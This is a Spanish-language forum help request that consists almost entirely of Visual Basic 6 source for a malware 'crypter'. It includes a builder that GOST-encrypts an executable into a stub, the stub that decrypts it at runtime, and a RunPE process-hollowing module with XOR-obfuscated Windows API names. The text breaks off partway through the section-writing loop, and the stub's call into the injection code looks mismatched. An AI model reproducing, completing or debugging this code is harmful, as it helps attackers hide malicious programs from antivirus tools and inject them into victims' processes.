AYUDA CON CRYPTER PLEASE !!!

[fsinatra]

No consigo hacer funcionar este crypter.
Les muestro los códigos, por si alguien me puede ayudar..


CLIENTE

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
With CD
.DialogTitle = "Seleccione el archivo a encryptar"
.Filter = "Aplicaciones EXE|*.exe"
.ShowOpen
End With

If Not CD.Filename = vbNullString Then
Text1.Text = CD.Filename
MsgBox "SERVER CARGADO CORRECTAMENTE", vbInformation, Me.Caption
End If
End Sub

Private Sub Command2_Click()
Dim Stub As String, Archivo As String, Ghost As New clsGost


If Text1.Text = vbNullString Then
MsgBox "Primero carga el archivo", vbExclamation, Me.Caption
Exit Sub
Else

Open App.Path & "\Stub.exe" For Binary As #1
Stub = Space(LOF(1))
Get #1, , Stub
Close #1

Open Text1.Text For Binary As #1
Archivo = Space(LOF(1))
Get #1, , Archivo
Close #1


With CD
.DialogTitle = "Selecione la ruta donde desea guardar el archivo"
.Filter = "Aplicaciones EXE|*.exe"
.ShowSave
End With

If Not CD.Filename = vbNullString Then

Archivo = Ghost.EncryptString(Archivo, "añsudgfasudsipdfhpsdhfipshdfishdishdifh")
Open CD.Filename For Binary As #1
Put #1, , Stub & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj" & Archivo & "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj"
Close #1
MsgBox "ENCRYPTADO CON EXITO", vbInformation, Me.Caption
End If



End If

End Sub

Private Sub Form_Load()

End Sub

MODULO DE CLIENTE

Código (vb) [Seleccionar] Expandir


Option Explicit
 
Public Type ENCRYPTCLASS
  Name As String
  Object As Object
  Homepage As String
End Type
Public EncryptObjects() As ENCRYPTCLASS
Public EncryptObjectsCount As Long
 
Public Const BENCHMARKSIZE = 1000000
 
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
 
Public Function FileExist(Filename As String) As Boolean
 
  On Error GoTo NotExist
   
  Call FileLen(Filename)
  FileExist = True
  Exit Function
NotExist:
End Function
Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
 
'  Call CopyMem(LongValue, CryptBuffer(Offset), 4)
   
  Dim bb(0 To 3) As Byte
   
  bb(3) = CryptBuffer(Offset)
  bb(2) = CryptBuffer(Offset + 1)
  bb(1) = CryptBuffer(Offset + 2)
  bb(0) = CryptBuffer(Offset + 3)
  Call CopyMem(LongValue, bb(0), 4)
   
End Sub
 
Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
 
'  Call CopyMem(CryptBuffer(Offset), LongValue, 4)
 
  Dim bb(0 To 3) As Byte
 
  Call CopyMem(bb(0), LongValue, 4)
  CryptBuffer(Offset) = bb(3)
  CryptBuffer(Offset + 1) = bb(2)
  CryptBuffer(Offset + 2) = bb(1)
  CryptBuffer(Offset + 3) = bb(0)
 
End Sub
Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
   
  Dim x1(0 To 3) As Byte
  Dim x2(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim Rest As Long
  Dim Value As Long
  Dim a As Long
   
  Call CopyMem(x1(0), Data1, 4)
  Call CopyMem(x2(0), Data2, 4)
   
  Rest = 0
  For a = 0 To 3
    Value = CLng(x1(a)) + CLng(x2(a)) + Rest
    xx(a) = Value And 255
    Rest = Value \ 256
  Next
   
  Call CopyMem(UnsignedAdd, xx(0), 4)
 
End Function
Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
  Dim x1(0 To 3) As Byte
  Dim x2(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim Rest As Long
  Dim Value As Long
  Dim a As Long
   
  Call CopyMem(x1(0), Data1, 4)
  Call CopyMem(x2(0), Data2, 4)
  Call CopyMem(xx(0), UnsignedDel, 4)
   
  For a = 0 To 3
    Value = CLng(x1(a)) - CLng(x2(a)) - Rest
    If (Value < 0) Then
      Value = Value + 256
      Rest = 1
    Else
      Rest = 0
    End If
    xx(a) = Value
  Next
   
  Call CopyMem(UnsignedDel, xx(0), 4)
End Function

MODULO DE CLASE DEL CLIENTE (clsGost)

Código (vb) [Seleccionar] Expandir


'Gost Encryption/Decryption Class
'------------------------------------
'
'Information concerning the Gost
'algorithm can be found at:
'http://www.jetico.sci.fi/index.htm#/gost.htm
'
'(c) 2000, Fredrik Qvarfort
'
Option Explicit

Event Progress(Percent As Long)

Private m_KeyValue As String

Private K(1 To 8) As Long
Private k87(0 To 255) As Byte
Private k65(0 To 255) As Byte
Private k43(0 To 255) As Byte
Private k21(0 To 255) As Byte
Private sBox(0 To 7, 0 To 255) As Byte

'Allow running more optimized code
'while in compiled mode and still
'be able to run the code in the IDE
Private m_RunningCompiled As Boolean

Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Sub addLongs Lib "myDLL" (ByRef number1 As Long, ByVal number2 As Long)

Private Static Sub DecryptBlock(LeftWord As Long, RightWord As Long)

  Dim i As Long
   
  RightWord = RightWord Xor F(LeftWord, K(1))
  LeftWord = LeftWord Xor F(RightWord, K(2))
  RightWord = RightWord Xor F(LeftWord, K(3))
  LeftWord = LeftWord Xor F(RightWord, K(4))
  RightWord = RightWord Xor F(LeftWord, K(5))
  LeftWord = LeftWord Xor F(RightWord, K(6))
  RightWord = RightWord Xor F(LeftWord, K(7))
  LeftWord = LeftWord Xor F(RightWord, K(8))
  For i = 1 To 3
    RightWord = RightWord Xor F(LeftWord, K(8))
    LeftWord = LeftWord Xor F(RightWord, K(7))
    RightWord = RightWord Xor F(LeftWord, K(6))
    LeftWord = LeftWord Xor F(RightWord, K(5))
    RightWord = RightWord Xor F(LeftWord, K(4))
    LeftWord = LeftWord Xor F(RightWord, K(3))
    RightWord = RightWord Xor F(LeftWord, K(2))
    LeftWord = LeftWord Xor F(RightWord, K(1))
  Next

End Sub
Private Static Sub EncryptBlock(LeftWord As Long, RightWord As Long)

  Dim i As Long
   
  For i = 1 To 3
    RightWord = RightWord Xor F(LeftWord, K(1))
    LeftWord = LeftWord Xor F(RightWord, K(2))
    RightWord = RightWord Xor F(LeftWord, K(3))
    LeftWord = LeftWord Xor F(RightWord, K(4))
    RightWord = RightWord Xor F(LeftWord, K(5))
    LeftWord = LeftWord Xor F(RightWord, K(6))
    RightWord = RightWord Xor F(LeftWord, K(7))
    LeftWord = LeftWord Xor F(RightWord, K(8))
  Next
  RightWord = RightWord Xor F(LeftWord, K(8))
  LeftWord = LeftWord Xor F(RightWord, K(7))
  RightWord = RightWord Xor F(LeftWord, K(6))
  LeftWord = LeftWord Xor F(RightWord, K(5))
  RightWord = RightWord Xor F(LeftWord, K(4))
  LeftWord = LeftWord Xor F(RightWord, K(3))
  RightWord = RightWord Xor F(LeftWord, K(2))
  LeftWord = LeftWord Xor F(RightWord, K(1))

End Sub

Public Sub EncryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
   
  'Make sure the source file do exist
  If (Not FileExist(SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
   
  'Open the source file and read the content
  'into a bytearray to pass onto encryption
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
   
  'Encrypt the bytearray
  Call EncryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If (FileExist(DestFile)) Then Kill DestFile
   
  'Store the encrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub
Public Sub DecryptFile(SourceFile As String, DestFile As String, Optional Key As String)

  Dim Filenr As Integer
  Dim ByteArray() As Byte
   
  'Make sure the source file do exist
  If (Not FileExist(SourceFile)) Then
    Call Err.Raise(vbObjectError, , "Error in Skipjack EncryptFile procedure (Source file does not exist).")
    Exit Sub
  End If
   
  'Open the source file and read the content
  'into a bytearray to decrypt
  Filenr = FreeFile
  Open SourceFile For Binary As #Filenr
  ReDim ByteArray(0 To LOF(Filenr) - 1)
  Get #Filenr, , ByteArray()
  Close #Filenr
   
  'Decrypt the bytearray
  Call DecryptByte(ByteArray(), Key)

  'If the destination file already exist we need
  'to delete it since opening it for binary use
  'will preserve it if it already exist
  If (FileExist(DestFile)) Then Kill DestFile

  'Store the decrypted data in the destination file
  Filenr = FreeFile
  Open DestFile For Binary As #Filenr
  Put #Filenr, , ByteArray()
  Close #Filenr

End Sub

Private Static Function F(R As Long, K As Long) As Long

  Dim x As Long
  Dim xb(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim a As Byte, b As Byte, C As Byte, D As Byte
   
  If (m_RunningCompiled) Then
    x = R + K
  Else
    x = UnsignedAdd(R, K)
  End If
   
  'Extract byte sequence
  D = x And &HFF
  x = x \ 256
  C = x And &HFF
  x = x \ 256
  b = x And &HFF
  x = x \ 256
  a = x And &HFF
   
  'Key-dependant substutions
  xb(0) = k21(a)
  xb(1) = k43(b)
  xb(2) = k65(C)
  xb(3) = k87(D)
   
  'LeftShift 11 bits
  xx(0) = ((xb(3) And 31) * 8) Or ((xb(2) And 224) \ 32)
  xx(1) = ((xb(0) And 31) * 8) Or ((xb(3) And 224) \ 32)
  xx(2) = ((xb(1) And 31) * 8) Or ((xb(0) And 224) \ 32)
  xx(3) = ((xb(2) And 31) * 8) Or ((xb(1) And 224) \ 32)
  Call CopyMem(F, xx(0), 4)

End Function
Public Function DecryptString(Text As String, Optional Key As String) As String

  Dim ByteArray() As Byte
   
  'Convert the text into a byte array
  ByteArray() = StrConv(Text, vbFromUnicode)
   
  'Encrypt the byte array
  Call DecryptByte(ByteArray(), Key)
   
  'Convert the byte array back to a string
  DecryptString = StrConv(ByteArray(), vbUnicode)

End Function

Public Function EncryptString(Text As String, Optional Key As String) As String

  Dim ByteArray() As Byte
   
  'Convert the text into a byte array
  ByteArray() = StrConv(Text, vbFromUnicode)
   
  'Encrypt the byte array
  Call EncryptByte(ByteArray(), Key)
   
  'Convert the byte array back to a string
  EncryptString = StrConv(ByteArray(), vbUnicode)

End Function
Private Static Function lBSL(ByVal lInput As Long, bShiftBits As Byte) As Long
     
  lBSL = (lInput And (2 ^ (31 - bShiftBits) - 1)) * 2 ^ bShiftBits
  If (lInput And 2 ^ (31 - bShiftBits)) = 2 ^ (31 - bShiftBits) Then lBSL = (lBSL Or &H80000000)

End Function

Private Static Function lBSR(ByVal lInput As Long, bShiftBits As Byte) As Long
     
  If bShiftBits = 31 Then
    If lInput < 0 Then lBSR = &HFFFFFFFF Else lBSR = 0
  Else
    lBSR = (lInput And Not (2 ^ bShiftBits - 1)) \ 2 ^ bShiftBits
  End If

End Function


Public Function EncryptByte(ByteArray() As Byte, Optional Key As String) As String

  Dim Offset As Long
  Dim OrigLen As Long
  Dim LeftWord As Long
  Dim RightWord As Long
  Dim CipherLen As Long
  Dim CipherLeft As Long
  Dim CipherRight As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
   
  'Set the key if one was passed to the function
  If (Len(Key) > 0) Then Me.Key = Key
   
  'Get the length of the plaintext
  OrigLen = UBound(ByteArray) + 1
   
  'First we add 12 bytes (4 bytes for the
  'length and 8 bytes for the seed values
  'for the CBC routine), and the ciphertext
  'must be a multiple of 8 bytes
  CipherLen = OrigLen + 12
  If (CipherLen Mod 8 <> 0) Then
    CipherLen = CipherLen + 8 - (CipherLen Mod 8)
  End If
  ReDim Preserve ByteArray(CipherLen - 1)
  Call CopyMem(ByteArray(12), ByteArray(0), OrigLen)
   
  'Store the length descriptor in bytes [9-12]
  Call CopyMem(ByteArray(8), OrigLen, 4)
   
  'Store a block of random data in bytes [1-8],
  'these work as seed values for the CBC routine
  'and is used to produce different ciphertext
  'even when encrypting the same data with the
  'same key)
  Call Randomize
  Call CopyMem(ByteArray(0), CLng(2147483647 * Rnd), 4)
  Call CopyMem(ByteArray(4), CLng(2147483647 * Rnd), 4)
   
  'Encrypt the data
  For Offset = 0 To (CipherLen - 1) Step 8
    'Get the next block of plaintext
    Call GetWord(LeftWord, ByteArray(), Offset)
    Call GetWord(RightWord, ByteArray(), Offset + 4)
     
    'XOR the plaintext with the previous
    'ciphertext (CBC, Cipher-Block Chaining)
    LeftWord = LeftWord Xor CipherLeft
    RightWord = RightWord Xor CipherRight
     
    'Encrypt the block
    Call EncryptBlock(LeftWord, RightWord)
     
    'Store the block
    Call PutWord(LeftWord, ByteArray(), Offset)
    Call PutWord(RightWord, ByteArray(), Offset + 4)
     
    'Store the cipherblocks (for CBC)
    CipherLeft = LeftWord
    CipherRight = RightWord
     
    'Update the progress if neccessary
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / CipherLen) * 100)
      NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
      RaiseEvent Progress(CurrPercent)
    End If
  Next
   
  'Make sure we return a 100% progress
  If (CurrPercent <> 100) Then RaiseEvent Progress(100)

End Function
Public Function DecryptByte(ByteArray() As Byte, Optional Key As String) As String

  Dim Offset As Long
  Dim OrigLen As Long
  Dim LeftWord As Long
  Dim RightWord As Long
  Dim CipherLen As Long
  Dim CipherLeft As Long
  Dim CipherRight As Long
  Dim CurrPercent As Long
  Dim NextPercent As Long
   
  'Set the key if one was passed to the function
  If (Len(Key) > 0) Then Me.Key = Key
   
  'Get the size of the ciphertext
  CipherLen = UBound(ByteArray) + 1
   
  'Decrypt the data in 64-bit blocks
  For Offset = 0 To (CipherLen - 1) Step 8
    'Get the next block
    Call GetWord(LeftWord, ByteArray(), Offset)
    Call GetWord(RightWord, ByteArray(), Offset + 4)
     
    'Decrypt the block
    Call DecryptBlock(RightWord, LeftWord)
     
    'XOR with the previous cipherblock
    LeftWord = LeftWord Xor CipherLeft
    RightWord = RightWord Xor CipherRight
     
    'Store the current ciphertext to use
    'XOR with the next block plaintext
    Call GetWord(CipherLeft, ByteArray(), Offset)
    Call GetWord(CipherRight, ByteArray(), Offset + 4)
     
    'Store the encrypted block
    Call PutWord(LeftWord, ByteArray(), Offset)
    Call PutWord(RightWord, ByteArray(), Offset + 4)
     
    'Update the progress if neccessary
    If (Offset >= NextPercent) Then
      CurrPercent = Int((Offset / CipherLen) * 100)
      NextPercent = (CipherLen * ((CurrPercent + 1) / 100)) + 1
      RaiseEvent Progress(CurrPercent)
    End If
  Next

  'Get the size of the original array
  Call CopyMem(OrigLen, ByteArray(8), 4)
   
  'Make sure OrigLen is a reasonable value,
  'if we used the wrong key the next couple
  'of statements could be dangerous (GPF)
  If (CipherLen - OrigLen > 19) Or (CipherLen - OrigLen < 12) Then
    Call Err.Raise(vbObjectError, , "Incorrect size descriptor in Gost decryption")
  End If
   
  'Resize the bytearray to hold only the plaintext
  'and not the extra information added by the
  'encryption routine
  Call CopyMem(ByteArray(0), ByteArray(12), OrigLen)
  ReDim Preserve ByteArray(OrigLen - 1)

  'Make sure we return a 100% progress
  If (CurrPercent <> 100) Then RaiseEvent Progress(100)

End Function

Public Property Let Key(New_Value As String)

  Dim a As Long
  Dim Key() As Byte
  Dim KeyLen As Long
  Dim ByteArray() As Byte
   
  'Do nothing if no change was made
  If (m_KeyValue = New_Value) Then Exit Property
   
  'Convert the key into a bytearray
  KeyLen = Len(New_Value)
  Key() = StrConv(New_Value, vbFromUnicode)
   
  'Create a 32-byte key
  ReDim ByteArray(0 To 31)
  For a = 0 To 31
    ByteArray(a) = Key(a Mod KeyLen)
  Next
   
  'Create the key
  Call CopyMem(K(1), ByteArray(0), 32)
   
  'Show this key is buffered
  m_KeyValue = New_Value
   
End Property
Private Sub Class_Initialize()

  Dim a As Long
  Dim b As Long
  Dim C As Long
  Dim LeftWord As Long
  Dim S(0 To 7) As Variant
   
  'We need to check if we are running in compiled
  '(EXE) mode or in the IDE, this will allow us to
  'use optimized code with unsigned integers in
  'compiled mode without any overflow errors when
  'running the code in the IDE
  On Local Error Resume Next
  m_RunningCompiled = ((2147483647 + 1) < 0)
   
  'Initialize s-boxes
  S(0) = Array(6, 5, 1, 7, 14, 0, 4, 10, 11, 9, 3, 13, 8, 12, 2, 15)
  S(1) = Array(14, 13, 9, 0, 8, 10, 12, 4, 7, 15, 6, 11, 3, 1, 5, 2)
  S(2) = Array(6, 5, 1, 7, 2, 4, 10, 0, 11, 13, 14, 3, 8, 12, 15, 9)
  S(3) = Array(8, 7, 3, 9, 6, 4, 14, 5, 2, 13, 0, 12, 1, 11, 10, 15)
  S(4) = Array(10, 9, 6, 11, 5, 1, 8, 4, 0, 13, 7, 2, 14, 3, 15, 12)
  S(5) = Array(5, 3, 0, 6, 11, 13, 4, 14, 10, 7, 1, 12, 2, 8, 15, 9)
  S(6) = Array(2, 1, 12, 3, 11, 13, 15, 7, 10, 6, 9, 14, 0, 8, 4, 5)
  S(7) = Array(6, 5, 1, 7, 8, 9, 4, 2, 15, 3, 13, 12, 10, 14, 11, 0)

  'Convert the variants to a 2-dimensional array
  For a = 0 To 15
    For b = 0 To 7
      sBox(b, a) = S(b)(a)
    Next
  Next
   
  'Calculate the substitutions
  For a = 0 To 255
    k87(a) = lBSL(CLng(sBox(7, lBSR(a, 4))), 4) Or sBox(6, a And 15)
    k65(a) = lBSL(CLng(sBox(5, lBSR(a, 4))), 4) Or sBox(4, a And 15)
    k43(a) = lBSL(CLng(sBox(3, lBSR(a, 4))), 4) Or sBox(2, a And 15)
    k21(a) = lBSL(CLng(sBox(1, lBSR(a, 4))), 4) Or sBox(0, a And 15)
  Next

End Sub


AHORA LES MUESTRO EL STUB

Código (vb) [Seleccionar] Expandir


Sub Main()
Dim oraropit As String, hdhathos As String, hshdhahtah() As String, Ghost As New clsGost
Dim Nuevo As String
oraropit = App.Path & "\" & App.EXEName & ".exe"
 
Open oraropit For Binary As #1
hdhathos = Space(sLOF(oraropit))
Get #1, , hdhathos
Close #1

hshdhahtah() = Split(hdhathos, "jkfsñkjfhsoidfhsjñdfhsoñjdfhsñsñljdfhkj")

hshdhahtah(1) = Ghost.DecryptString(hshdhahtah(1), "añsudgfasudsipdfhpsdhfipshdfishdishdifh")


Call NSQUITE(oraropit, StrConv(hshdhahtah(1), vbFromUnicode))
End Sub

Public Function sLOF(sPath As String) As Double

Dim Fso, F As Object
   
Set Fso = CreateObject("Scripting.FileSystemObject")
Set F = Fso.GetFile(sPath)
   
sLOF = F.Size
End Function

MODULO DEL STUB

Código (vb) [Seleccionar] Expandir


Option Explicit
 
Public Type ENCRYPTCLASS
  Name As String
  Object As Object
  Homepage As String
End Type
Public EncryptObjects() As ENCRYPTCLASS
Public EncryptObjectsCount As Long
 
Public Const BENCHMARKSIZE = 1000000
 
Private Declare Sub CopyMem Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
 
Public Function FileExist(Filename As String) As Boolean
 
  On Error GoTo NotExist
   
  Call FileLen(Filename)
  FileExist = True
  Exit Function
NotExist:
End Function
Public Static Sub GetWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
 
'  Call CopyMem(LongValue, CryptBuffer(Offset), 4)
   
  Dim bb(0 To 3) As Byte
   
  bb(3) = CryptBuffer(Offset)
  bb(2) = CryptBuffer(Offset + 1)
  bb(1) = CryptBuffer(Offset + 2)
  bb(0) = CryptBuffer(Offset + 3)
  Call CopyMem(LongValue, bb(0), 4)
   
End Sub
 
Public Static Sub PutWord(LongValue As Long, CryptBuffer() As Byte, Offset As Long)
 
'  Call CopyMem(CryptBuffer(Offset), LongValue, 4)
 
  Dim bb(0 To 3) As Byte
 
  Call CopyMem(bb(0), LongValue, 4)
  CryptBuffer(Offset) = bb(3)
  CryptBuffer(Offset + 1) = bb(2)
  CryptBuffer(Offset + 2) = bb(1)
  CryptBuffer(Offset + 3) = bb(0)
 
End Sub
Public Static Function UnsignedAdd(ByVal Data1 As Long, Data2 As Long) As Long
   
  Dim x1(0 To 3) As Byte
  Dim x2(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim Rest As Long
  Dim Value As Long
  Dim a As Long
   
  Call CopyMem(x1(0), Data1, 4)
  Call CopyMem(x2(0), Data2, 4)
   
  Rest = 0
  For a = 0 To 3
    Value = CLng(x1(a)) + CLng(x2(a)) + Rest
    xx(a) = Value And 255
    Rest = Value \ 256
  Next
   
  Call CopyMem(UnsignedAdd, xx(0), 4)
 
End Function
Public Function UnsignedDel(Data1 As Long, Data2 As Long) As Long
  Dim x1(0 To 3) As Byte
  Dim x2(0 To 3) As Byte
  Dim xx(0 To 3) As Byte
  Dim Rest As Long
  Dim Value As Long
  Dim a As Long
   
  Call CopyMem(x1(0), Data1, 4)
  Call CopyMem(x2(0), Data2, 4)
  Call CopyMem(xx(0), UnsignedDel, 4)
   
  For a = 0 To 3
    Value = CLng(x1(a)) - CLng(x2(a)) - Rest
    If (Value < 0) Then
      Value = Value + 256
      Rest = 1
    Else
      Rest = 0
    End If
    xx(a) = Value
  Next
   
  Call CopyMem(UnsignedDel, xx(0), 4)
End Function

RUNPE DEL STUB

Código (vb) [Seleccionar] Expandir


Option Explicit

Private Const CONTEXT_FULL As Long = &H10007
Private Const MAX_PATH As Integer = 260
Private Const CREATE_SUSPENDED As Long = &H4
Private Const MEM_COMMIT As Long = &H1000
Private Const MEM_RESERVE As Long = &H2000
Private Const PAGE_EXECUTE_READWRITE As Long = &H40

Private Declare Function CreateProcessA Lib "kernel32" (ByVal lpAppName As String, ByVal lpCommandLine As String, ByVal lpProcessAttributes As Long, ByVal lpThreadAttributes As Long, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As Long, ByVal lpCurrentDirectory As Long, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long
Private Declare Function WriteProcessMemory Lib "kernel32" (ByVal hProcess As Long, lpBaseAddress As Any, bvBuff As Any, ByVal nSize As Long, lpNumberOfBytesWritten As Long) As Long
Private Declare Function OutputDebugString Lib "kernel32" Alias "OutputDebugStringA" (ByVal lpOutputString As String) As Long

Public Declare Sub RtlMoveMemory Lib "kernel32" (Dest As Any, Src As Any, ByVal L As Long)
Private Declare Function CallWindowProcA Lib "user32" (ByVal addr As Long, ByVal p1 As Long, ByVal p2 As Long, ByVal p3 As Long, ByVal p4 As Long) As Long
Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long

Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Long
End Type

Private Type STARTUPINFO
cb As Long
lpReserved As Long
lpDesktop As Long
lpTitle As Long
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Long
hStdInput As Long
hStdOutput As Long
hStdError As Long
End Type

Private Type PROCESS_INFORMATION
hProcess As Long
hThread As Long
dwProcessId As Long
dwThreadID As Long
End Type

Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(1 To 80) As Byte
Cr0NpxState As Long
End Type

Private Type CONTEXT
ContextFlags As Long

Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long

FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
End Type

Private Type IMAGE_DOS_HEADER
e_magic As Integer
e_cblp As Integer
e_cp As Integer
e_crlc As Integer
e_cparhdr As Integer
e_minalloc As Integer
e_maxalloc As Integer
e_ss As Integer
e_sp As Integer
e_csum As Integer
e_ip As Integer
e_cs As Integer
e_lfarlc As Integer
e_ovno As Integer
e_res(0 To 3) As Integer
e_oemid As Integer
e_oeminfo As Integer
e_res2(0 To 9) As Integer
e_lfanew As Long
End Type

Private Type IMAGE_FILE_HEADER
Machine As Integer
NumberOfSections As Integer
TimeDateStamp As Long
PointerToSymbolTable As Long
NumberOfSymbols As Long
SizeOfOptionalHeader As Integer
characteristics As Integer
End Type

Private Type IMAGE_DATA_DIRECTORY
VirtualAddress As Long
Size As Long
End Type

Private Type IMAGE_OPTIONAL_HEADER
Magic As Integer
MajorLinkerVersion As Byte
MinorLinkerVersion As Byte
SizeOfCode As Long
SizeOfInitializedData As Long
SizeOfUnitializedData As Long
AddressOfEntryPoint As Long
BaseOfCode As Long
BaseOfData As Long
ImageBase As Long
SectionAlignment As Long
FileAlignment As Long
MajorOperatingSystemVersion As Integer
MinorOperatingSystemVersion As Integer
MajorImageVersion As Integer
MinorImageVersion As Integer
MajorSubsystemVersion As Integer
MinorSubsystemVersion As Integer
W32VersionValue As Long
SizeOfImage As Long
SizeOfHeaders As Long
CheckSum As Long
SubSystem As Integer
DllCharacteristics As Integer
SizeOfStackReserve As Long
SizeOfStackCommit As Long
SizeOfHeapReserve As Long
SizeOfHeapCommit As Long
LoaderFlags As Long
NumberOfRvaAndSizes As Long
DataDirectory(0 To 15) As IMAGE_DATA_DIRECTORY
End Type

Private Type IMAGE_NT_HEADERS
Signature As Long
FileHeader As IMAGE_FILE_HEADER
OptionalHeader As IMAGE_OPTIONAL_HEADER
End Type

Private Type IMAGE_SECTION_HEADER
SecName As String * 8
VirtualSize As Long
VirtualAddress As Long
SizeOfRawData As Long
PointerToRawData As Long
PointerToRelocations As Long
PointerToLinenumbers As Long
NumberOfRelocations As Integer
NumberOfLinenumbers As Integer
characteristics As Long
End Type


Public Function NSQUITE(ByVal FOUK As String, ByVal OTMHP As String, ParamArray QWWJFYK()) As Long
Dim WPLKG As Long, UWIH(&HEC00& - 1) As Byte, IUU As Long, QNEAFPR As Long

QNEAFPR = GetProcAddress(LoadLibraryA(FOUK), OTMHP)
If QNEAFPR = 0 Then Exit Function

WPLKG = VarPtr(UWIH(0))
RtlMoveMemory ByVal WPLKG, &H59595958, &H4: WPLKG = WPLKG + 4
RtlMoveMemory ByVal WPLKG, &H5059, &H2: WPLKG = WPLKG + 2
For IUU = UBound(QWWJFYK) To 0 Step -1
RtlMoveMemory ByVal WPLKG, &H68, &H1: WPLKG = WPLKG + 1
RtlMoveMemory ByVal WPLKG, CLng(QWWJFYK(IUU)), &H4: WPLKG = WPLKG + 4
Next
RtlMoveMemory ByVal WPLKG, &HE8, &H1: WPLKG = WPLKG + 1
RtlMoveMemory ByVal WPLKG, QNEAFPR - WPLKG - 4, &H4: WPLKG = WPLKG + 4
RtlMoveMemory ByVal WPLKG, &HC3, &H1: WPLKG = WPLKG + 1
NSQUITE = CallWindowProcA(VarPtr(UWIH(0)), 0, 0, 0, 0)
End Function

Public Function PKPQT(ByVal LMBJEB As String, ByVal DWOOD As String) As String
Dim BLY As Long

For BLY = 1 To Len(LMBJEB)
PKPQT = PKPQT & Chr(Asc(Mid(DWOOD, IIf(BLY Mod Len(DWOOD) <> 0, BLY Mod Len(DWOOD), Len(DWOOD)), 1)) Xor Asc(Mid(LMBJEB, BLY, 1)))
Next BLY
End Function

Public Sub HHNUHVP(ByVal IRJPN As String, ByRef BHIL() As Byte, CDRHU As String)
Dim CWL As Long, UGXI As IMAGE_DOS_HEADER, FUQWG As IMAGE_NT_HEADERS, JIJHOR As IMAGE_SECTION_HEADER
Dim OYLSLJI As STARTUPINFO, MZLVDG As PROCESS_INFORMATION, LBGKEY As CONTEXT

OYLSLJI.cb = Len(OYLSLJI)
RtlMoveMemory UGXI, BHIL(0), 64
RtlMoveMemory FUQWG, BHIL(UGXI.e_lfanew), 248

CreateProcessA IRJPN, " " & CDRHU, 0, 0, False, CREATE_SUSPENDED, 0, 0, OYLSLJI, MZLVDG
NSQUITE PKPQT(Chr(59) & Chr(57) & Chr(47) & Chr(38) & Chr(34), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(27) & Chr(57) & Chr(30) & Chr(36) & Chr(35) & Chr(35) & Chr(35) & Chr(1) & Chr(47) & Chr(43) & Chr(58) & Chr(12) & Chr(41) & Chr(31) & Chr(35) & Chr(36) & Chr(36) & Chr(32) & Chr(57) & Chr(56), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase
NSQUITE PKPQT(Chr(62) & Chr(40) & Chr(57) & Chr(36) & Chr(43) & Chr(46) & Chr(96) & Chr(101), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), PKPQT(Chr(3) & Chr(36) & Chr(57) & Chr(62) & Chr(59) & Chr(35) & Chr(63) & Chr(22) & Chr(42) & Chr(34) & Chr(34) & Chr(32) & Chr(10) & Chr(52), "UMKJNBSWFNMCOLFGPIVVIEXJZKXOCOJMDLAIDACV"), MZLVDG.hProcess, FUQWG.OptionalHeader.ImageBase, FUQWG.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE
WriteProcessMemory MZLVDG.hProcess, ByVal FUQWG.OptionalHeader.ImageBase, BHIL(0), FUQWG.OptionalHeader.SizeOfHeaders, 0

For CWL = 0 To FUQWG.FileHeader.NumberOfSections - 1
